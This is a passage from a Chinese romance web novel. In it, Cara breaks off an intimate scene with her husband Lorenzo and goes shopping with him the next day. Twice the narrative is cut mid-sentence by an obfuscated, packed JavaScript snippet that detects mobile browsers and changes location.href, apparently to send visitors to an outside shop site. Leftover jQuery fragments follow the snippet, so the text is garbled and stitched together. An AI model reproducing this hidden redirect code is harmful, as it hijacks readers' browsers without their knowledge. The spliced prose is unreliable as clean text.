随着亲吻的逐渐深入,他的手也离开了她的肩头,隔着薄薄的浴袍,沿着她的脊柱一节一节地向下抚过,感受着她因紧张而微微弓起的弧度。感受着那每一寸肌肤都在他的掌下变得柔软,像是被这绵长的吻一点点融化。
然后,他忽然收紧了双臂。
卡拉隐约意识到了什么,可那念头还没来得及在她脑海成型,下一秒,他便已经稳稳地托着她的腰臀,将她从凳子上举了起来。
她在他的口中轻轻惊呼一声,身体本能地挣扎了一下,随后又紧紧缠绕了上去,与他贴得更近,严丝合缝,不留余地。
他紧紧抱着她,嘴唇始终没有离开她的。而他的吻也慢慢地从试探变成了索取,又从索取变成了一种近乎贪婪的吞噬。他的舌尖仔细描摹过每一寸轮廓,而后更深地探入,与她纠缠,仿佛要将她拆吃入腹,又仿佛只是想确认她是真实的、此刻就在这里、在他怀里。
卡拉被吻得头脑发昏,手指也情不自禁地顺着他的后颈滑过,贪婪地钻进了他后脑勺的短发中,并无意识地轻轻拉扯着那些丝滑的发丝。
这些细微的动作就像是一根火柴擦亮了空气里原本就摇摇欲坠的引线。
洛伦佐将她轻轻放在了床上,额头抵着她的,唇游移着离开,沿着她的唇角、下颌,缓慢地滑向了颈侧。那里的皮肤太敏感了,她几乎是条件反射地瑟缩了一下,却没能够真正躲开。
他的唇碾磨着她颈动脉跳动的地方,呼吸灼热而克制。他的双手则熟练地探入了她的浴袍之下,慢条斯理地挑逗着,使她皮肤上那甜美而诱人的感觉逐渐向着中心蔓延,与那里积聚的热浪融为一体。
卡拉不禁仰起了头,轻柔地喘息,欲望与渴求将她彻底淹没。她那不安分的手也早已从他的头部移开,顺着他的脖颈、肩膀缓慢移动,直到抵达他的腰部。当她冰凉的手指触碰到布料之下的光滑肌肤并大胆触摸上去时,他也不禁发出了满足的低吟。
“Caramia(我亲爱的)……”洛伦佐低低地唤着她,声音已经完全变了调,像是被什么沉重的东西压迫着。
就是这一声轻唤,让被他吻得意乱情迷的卡拉猛地意识到了问题。
她那准备扒下他衣服的手仍还停留在原处,清晰地感受着他身体的紧绷。那对她而言并不陌生,却在此刻显得异常的危险。
她的呼吸骤然乱了。
天父在上,这可绝对不是她想要的。
至少,不该是这样,不该是在这样的关系里,不该是在她仍然想要离婚、想要逃离、想要证明自己不会永远被占有被玩弄下去的时候。
而且,他仍然可能是个潜在罪犯。
这个念头像一根冰锥,彻底地刺穿了情欲的迷雾,让她浑身一颤。
卡拉猛地抽回了手。
动作不算粗暴,却带着一种清晰的决绝。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588891|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“洛伦佐。”她的声音发紧,却异常清楚,“离开我。”
闻言,他整个人明显一僵,贴在她颈侧的呼吸也顿住了。
卡拉趁着这短暂的空隙,伸手抵住了他的胸口,用力地推了一下。
洛伦佐被她推得起来了些,却并没有立刻退开。他的身体依旧覆在她的上方,近得能让她感受到他胸腔里那同样急促的起伏。
他静静看着她,目光带着几分诧异。
可卡拉没有退缩。
她忍不住开始想,他大概会恼怒,会不耐烦,会再次用那种理所当然的语气来提醒她,他们现在依然是合法夫妻,他们无论多么亲密都是理所当然的。她不可以这样剥夺他作为她合法丈夫的基本婚姻权利,而在这个世界上,她也根本没有任何借口逃避她作为他妻子的基本婚姻义务。
她自己把自己明码标价卖给了他。
可是他没有。
他将手从她的身体撤开,几秒之后,他让自己直起了身,彻底拉开了两人之间那点危险的距离。
卡拉迅速整理好身上散乱的浴袍,在床上蜷缩了起来。
她摇了摇自己那果然被酒精给泡糊涂了的脑子,犹豫了一下,还是忍不住询问他:“你为什么……吻我?”
“什么?”
“我和你结婚那么久了,可直到今天,你才第一次吻我。我很清楚你一直以来究竟有多不想与我有任何感情上的联系,你希望我们俩就只是单纯地发生关系而已……”
洛伦佐闻言,立刻皱起了眉,他责备道:“别那么说话,那不适合你。”
“你是嫌我的措辞不够文雅吗?”卡拉惊讶地瞪大了眼睛,不禁笑了出来。
所以,他觉得她更应该怎么说呢?说他们那是在做.爱吗?
还是不要搞笑了,所有人都知道,做.爱是另外的概念,它是要与自己真心在意的人一起进行的,那其中会包含着细腻的情感与对彼此身体的崇高的敬意。当两人如此充满柔情地身体相拥时,他们会深深凝视对方的眼睛,感受到一种无法否认的紧密联系……
他们之间可从来没有这种东西。
“你以为你娶的是谁?一位出身高贵毕业于哪个顶级精修学校的的淑女吗?”卡拉又开始无法自控地讥讽了起来,“事实上我已经足够文雅了,我都没说我们只是操而已。”
“凯特里奥娜……”
“也许,”她打断了他,“你认为这可以使我学会安分守己。在我终于认识了你的朋友,并被你承认了是你的妻子之后,在我得到了你的赞美与亲吻之后,我将会陷进你的温柔陷阱里,从此变成一个快乐的小傻瓜。”
然后,他或许就可以让她万劫不复。
她忽然意识到,也许,这就是他打算跟她玩的游戏呢?
如果她真的愚蠢到让自己相信了这种幻想,这种正在逐渐侵入她脑海中的幸福错觉,他就会立刻将它毁掉……
想到这里,她不禁开始感到一阵发冷。
洛伦佐盯着她,眼神中的诧异显而易见:“你为什么总是要去想一些莫名其妙的东西?”
卡拉摇了摇头,感觉到自己已经快要被这些该死的压力给逼疯了。她犹豫了一瞬,还是忍不住开口:“我知道,我一直都很蠢,我轻易失去了理智,我把一切搞砸了。我不应该那样离开你,背叛你,无论如何,这都是错误的。我不敢奢求你原谅我的这些所作所为,你完全有理由不原谅我,我只希望我的愚蠢不会连累到格蕾丝,她就是一个小孩子……”
“不要再提你的背叛了。”他厉声道。
卡拉被他吓得发抖,立即噤声。
洛伦佐看着她被吓到了的样子,懊恼地吐了口气,道:“我不想对你吼叫。就只是,别再该死地提起这件事了。我已经意识到了,我过去……对你一直不太公平,所以,无论我有多生气,我都让自己原谅了你,毕竟你现在仍然站在这里,你明白吗?我希望你也可以同样放下过去一切。就只是告诉我,凯特里奥娜,我到底该怎么做,才能让一切变得好一些?”
卡拉惊讶地看着他,她无论如何也想不到,他竟会对她说出这样的话来。
可无论那是真是假,当他们这桩错误的婚姻已经如此支离破碎的时候,又还能怎么去让一切变得更好?
“我想,我们真的并不合适,”她轻声说,“这样其实对大家都好。”
她几乎在恳求他。
他摇了摇头:“我们是不会分开的。”
她的心又沉了下去。
他就是不会放过她。
“那我们就没有什么好谈的了,晚安,洛伦佐,请回到你的房间去吧,我现在真的只想一个人呆着。”
说完,她就猛地转过了身,将头埋进了枕头里。
洛伦佐就那么站在那里,盯着她拒人千里的背影,看了好一会儿。最终,他什么也没说,转身离开了房间,门在他身后关上的声音,沉重而压抑。
13. Chapter 13
第二天早上,卡拉终于在客房醒来,这让她如释重负,却又莫名的心里有点空落落的。
她晃了晃因为酒精仍在发疼的头,匆匆地看了一眼时钟,意识到现在居然已经十点了,看来她昨天参加洛伦佐朋友的聚会是真的累坏了。
但尽管如此,那依然是一段很不错的时光,如果可以早发生几年,她估计真的会很开心吧。
尤其,是在他们婚姻最初的那一年。
那时候她毕竟就只有十九岁,她确实还是相当天真幼稚。即便他们的开始有些不堪,但他终究是点头同意了和她结婚,不是么?她可不相信在这个世界上就只有她一个人会这么大胆,反正,他可没去答应其他的女人。那说明她总归是有着点特别之处,即便她自己都想不出自己究竟除了一点廉价的性吸引力之外还能特别在哪。
之后,日子一天天地过下来,她对她的丈夫也确实没有什么不满的,他年轻、英俊、富有,好吧,在床上时也并非她曾担忧过的那种吝啬或者粗暴的情人,一个女孩还能要求什么呢?
她告诉自己,只要她努力调整好自己的心态,并付出足够的耐心去一点点融入她丈夫的世界,他们总是能跨过最初的那些生疏与计算,最终建立起某种真实的情感联结。
她想,他们无论如何都已经算是组成一个家庭了,她希望他们这个奇怪的家庭可以维持得久一点,再久一点。
直到,洛伦佐用他那日复一日的、精准的冷淡,终于还是将她那一点点贪婪的希冀碾得粉碎。
他的目光每次掠过她,就如同掠过一件摆设品,他的热情只在卧室的夜晚触发,带着明确的性意味,他从来不与她分享关于他的一切,也对她试图开启的任何话题意兴阑珊。
在多少个同样沉默的夜晚里,她听着身旁均匀的呼吸声,鼓起毕生勇气,抬起冰冷的手指,悄悄地、试探性地靠近他温暖的后背轮廓,希望可以得到哪怕一点回应,一点温度。而他,从未转身拥抱她。
所以,事实就是这样了,他会同意这桩荒谬的婚姻就真的完全没有其他理由,只是单纯地看上了她的身体。一具还算年轻鲜活,在舞台上懂得如何利用自己的优势,在卧室里也足够柔软顺从的身体。
他利用她,就像她过去遇见的每一个男人一样,甚至,因为付出了格外高昂的代价,连稍稍的掩饰都显得那么毫无必要。
这个认知让她愈发的自我厌恶起来。她只能让自己去更疯狂地消耗她丈夫的金钱,尽量变成一个世界上最昂贵的摆设,当然了,如果能顺便惹毛他就更好了。
可最终,即便是那些她曾经如此梦寐以求的东西,也根本消减不了一点她每次面对镜子时那种强烈的恶心感。
她愈是花钱,就愈是深刻地意识到自己就是一个肮脏的妓女。
也许,老话总是有道理的,她如此告诉自己,要当心你许下的愿望……
她忍不住又想起了洛克兰。
与洛克兰相识这大半年,是她人生中最轻松快乐的时光。当时的她切断了与过去所有的联系,正全心全意地扮演另一个人。
查丽蒂·伯恩,一个性格害羞的孤儿,她的可怜之处是没有家人,幸运之处却也同样如此。
查丽蒂可以始终保持她的天真纯洁。因为她永远不需要为了谁去舍弃自尊走上成人舞台推销自己,并忍着厌恶在那些小隔间给一个又一个猥琐男人跳大腿舞,跳得几乎就要变成一个性冷淡。对她来说,有一份普通的工作可以赚一点足够她简单生活的钱,便已经是很好了。
她不必时刻警惕,不必花心思揣测她平凡而善良的男友每一个眼神背后隐藏的含义,甚至也不必担心自己是否配得上他。她可以不修边幅地抱着一大桶便宜的香草冰淇淋窝在沙发上,看着一些无聊的电视节目,当男友凑过来了再顺手喂他也吃一勺,可以因为工作上的小事抱怨,无论她有理没理,可以毫无形象地大笑……
然而,那终究只是沙上的城堡。一个建立在谎言和自我割裂之上的幻梦。当洛伦佐的身影再次出现在她的生活里,幻梦便轰然倒塌了,留下的只是更加狼藉的现实。
她长长地叹了口气,掀开被子起身,赤脚踩在冰凉的地板上,走向浴室。
镜子里映照出她的脸,依旧是那张学校里的女孩会厌恶地形容成死人白的脸,那使得她高高的颧骨和鼻翼两侧那些浅褐色的雀斑显得格外的突兀,而那双绿眼睛里,则满是挥之不去的倦怠与迷茫。
真是恶心,洛伦佐究竟是怎么对她说出的“美”这个字来的呢?
她情不自禁地抚摸了一下自己没有血色的嘴唇,昨晚那个终于发生的吻,他指尖残留的温度,他眼中罕见的复杂情绪,所有的画面混乱地交织在一起,像一团找不到线头的乱麻。
天呐,她讨厌这种混乱。
她还是宁愿恨得纯粹,怕得直接……
她吐了口气,烦闷地将水扑在脸上,狠狠洗了把脸,便又魂不守舍地打开了衣橱,想换身衣服下楼吃点东西。
只是,她看着面前的场景,还是不得不意识到了一个十分严峻的问题。
她……是真的缺衣服穿了。
她离开得太匆忙,就从公寓拿走了寥寥的衣物,在连日轮流穿着后,越发显得陈旧单薄。而天气还眼看着就要转凉了。
她痛苦地哼了一声,意识到自己必须做点什么,至少不能整天就呆在这座华丽的牢笼里发呆。
当她终于下楼时,出乎预料的,某人并没有外出,他独自坐在沙发上,面前放着一台平板电脑,手边则是一杯几乎未动的咖啡。
他看起来比昨夜平静许多,恢复了那种无懈可击的、略带疏离的整洁。
“早。”他的声音平稳。
“早。”她终于还是应了一声,然后,她的脚步停在那,既不前进,也不后退。
洛伦佐见此,也不禁感到有些奇怪:“你今天有什么安排吗?”
卡拉犹豫了一下,还是如实道:“我打算出去买点衣服。”
洛伦佐倒出乎预料的没有发表什么,只是点头:“这很好,我开车送你。”
他的话让卡拉顿时讶异地睁大眼睛。
她会跟他说这件事唯一的理由,就是她希望自己一个人去,她要去的地方身边跟着安保人员会显得非常诡异,尤其还是尼科洛那种看起来活像个□□成员的意大利人。
而跟着洛伦佐本人,以及几个鬼鬼祟祟的在那假装自己只是路人的安保人员,那一切就显得更诡异了!
事实上,她一直都不理解他到底为什么那么担忧自己的安危,他又不是什么政府高官,也不是什么当红明星,他就只是个颇有资产的富人,而在他经常出没的地方到处都是富人……
“我会打车去。”卡拉立即说,“而且,你难道就没自己的事了吗?”
“你打车会花不少钱。”他说。
好吧,这是事实,卡拉只是内心算了算,就已经开始有点难受,但她不会如此轻易地为了省一点小钱而屈服。
“还有,今天周六,我确实没事,而且我也可能会有什么需要添置的东西。”
卡拉皱起了眉:“不,我想你误会了,我根本没打算去什么高端地方,你知道我负担不起,我准备去的地方不会有任何适合你的东西。”
“别傻了,凯特里奥娜。”洛伦佐道,“你负担得起任何你想要的东西。”
“你说用你的钱?”她绿眸直视着他,里面是清晰的抗拒。
“我们的钱。”洛伦佐纠正道。
卡拉不禁怔住了,但随后,她还是摇了摇头:“不,我还是用我挣来的钱,买一些我负担得起的东西。”
她知道自己看起来一定很可笑。她现在不得不吃他的住他的用他的,却不能穿刷他信用卡买的衣服。
但他一定要控制她,她有什么办法?
出了这扇门,她才不要花他的钱。
空气静默了一瞬。洛伦佐审视着她,然后,一丝极淡的、类似无奈的神情掠过他的眉宇,但很快消散。
“Mostriciattola.”
她听见他轻轻嘀咕了一声,八成不是什么好话。
“随你吧。”他很快又道,“你准备什么时候出发?”
“我真的想一个人去,”她坚持道,“任何人在我身边都会显得很奇怪。”
“奇怪吗?我的妻子需要添置衣物,而我刚好有时间陪她。”他最终说道,语气里有一种不容置疑的简单,“这是一件普通的事。”
“我们又不是普通的夫妻!”这句话几乎要冲口而出,但被她硬生生咽下。
她并不打算整天跟他针锋相对,那太耗心力了,然后还根本就没什么用。
她换了种方式:“我要去的地方真的不适合你,洛伦佐。”
洛伦佐微微挑眉,像是听到了一个有趣的说法:“除非你要去非法场所。”
“当然不是!”卡拉有些气结,“我敢打赌你这辈子从来没有进过平价商场。”
“我并非含着金汤匙出生,”他说,“也许,我的过往经历比你想象的要丰富得多呢?”
卡拉微微一愣。她几乎从未想过这个人可能也会有着所谓的过去。毕竟在她的印象里,他一直就是眼前的这副
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589520|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
模样:富有、强大、仿佛生来就站在了金字塔的顶端。
“不,你可骗不了我。”卡拉很快回忆起了一些信息,摇了摇头,“你们家在意大利明明一直就很有钱。”
“出去之前,你先吃点早餐。”洛伦佐强行转移了话题,“我就在这等你。”
在那个十分拙劣的谎言被她轻易戳破了后,他便回到了他的世界里,显然是不打算和她继续多说什么,而关于她的外出计划,他也下了最后通牒。
卡拉默默站在原地,胸口因憋闷而微微地起伏。她知道再继续争辩下去也是徒劳,像他这种出身优越高高在上了一辈子的男人就是这样,他早就习惯了下命令,而且不容置疑。她厌恶这一点,厌恶极了,暂时却也没什么办法,只能咬了咬下唇,老老实实先去吃点早餐,再考虑其他。
“我希望你不会介意等我一下,或者你可以去别处转转。”
当卡拉最终还是顶着一张死人脸被他给带到了目的地,她立刻就用最快的速度解开了安全带。
“我不会待太久的。”
“我陪你。”洛伦佐已经打开了车门。
“洛伦佐。”卡拉叹了口气,终究还是忍不住道,“我可没有在跟你开玩笑,有些地方真的并不适合你。你莫名其妙出现在这里,会就像是一个……”
她仔细想着比喻。
“就像是一个走错了片场的国王。”
他绕过车头,为她拉开车门,闻言嘴角似乎极轻微地扯动了一下:“正好,可以让我看看你平日里都是如何‘体察民情’的。”
他的话让卡拉瞪大眼睛,顿时又有些手足无措不知该说什么好了。天父在上,她一直以为他是根本不会开这种无聊玩笑的类型。
不过,这段时间里他确实就跟中了巫术一样。天呐,她还是希望他可以变回她曾经熟悉的那个冷漠无趣的他,那样她可能还懂得如何应对一点。
她没有回应他的话,而是直接埋头向前冲,而他则真就默默跟在她身后。
显而易见的是,他的出现很快就吸引了周围人的目光。不是因为他是个高大英俊的男人——当然了,这无疑也会是原因之一——更是因为他周身所散发出的、与这里截然不同的气息。那是金钱、权力和更高阶层的烙印,无法掩饰。
卡拉强迫自己忽略掉了那些打量和身后来自她丈夫的沉默的压迫感,让自己进入了购物模式。
她仔细地翻看价签,手指一样样抚过面料,比较着款式与价格,然后再拿着衣服排着队去试衣间试穿,动作熟练而务实,与昔日那个高傲的被众人簇拥着的德-米凯利太太判若两人。
她偶尔会问他某件衣服的意见,当然了,就纯粹只是出于一种诡异的、想要打破他们之间那可怕沉默的冲动,而他也就真的只是平淡地给出了一些“可以”或“可能不太适合你”的简短评价,没有任何的嘲讽或勉强。
他甚至在她站在内衣货架前有些犹豫不决时,极其自然地转身走向了另一边,好留给她足够的隐私空间。
但或许还是实在受不了这种压抑的气氛,卡拉没有花上太长时间就买齐了所有的必需品,只是,因为不错的折扣,她还是没忍住多试了一条非常漂亮但可能还是稍微贵了一点的绿色吊带裙。
当她带着她的收获走去收银台,掏出钱包准备结账时,洛伦佐依旧是站在她不远处望着她,一言不发。他没有提出让他来付钱,甚至没有做出任何拿钱包的动作。他选择任由她去完成这场对她而言估计意义重大的仪式。
收银的女孩一边麻利动作着,一边忍不住悄悄地望了洛伦佐几眼,然后对卡拉友善地笑了笑:“你男朋友真帅,而且还这么耐心陪你买衣服。”
卡拉张了张嘴,那一句“他不是我男朋友”卡在喉咙里,最终只是含糊地“嗯”了一声。
之后,她拎着几个红白色的大购物袋走向出口,洛伦佐十分自然地跟上,然后,他的手还是忍不住伸了过去,不容分说地接过了她手中的袋子。
卡拉愣了愣,停下了脚步看着他。
“我来拿吧。”他言简意赅,拎着几个购物袋,脸上没有任何多余的表情,仿佛只是做了一件再自然不过的事,“还要去别的地方吗?”
“我……大概都已经买完了吧。”她望着他,声音都变得有些别扭。
“嗯?”他点点头,“确定不需要其他东西了?”
“没有了。”卡拉摇了摇头,又看了一眼他手里的袋子,“这些……还是我自己拿吧。”
“走吧。”他没有把手中袋子还给她的意思,只是用下巴示意了停车场的方向,“车在那边。”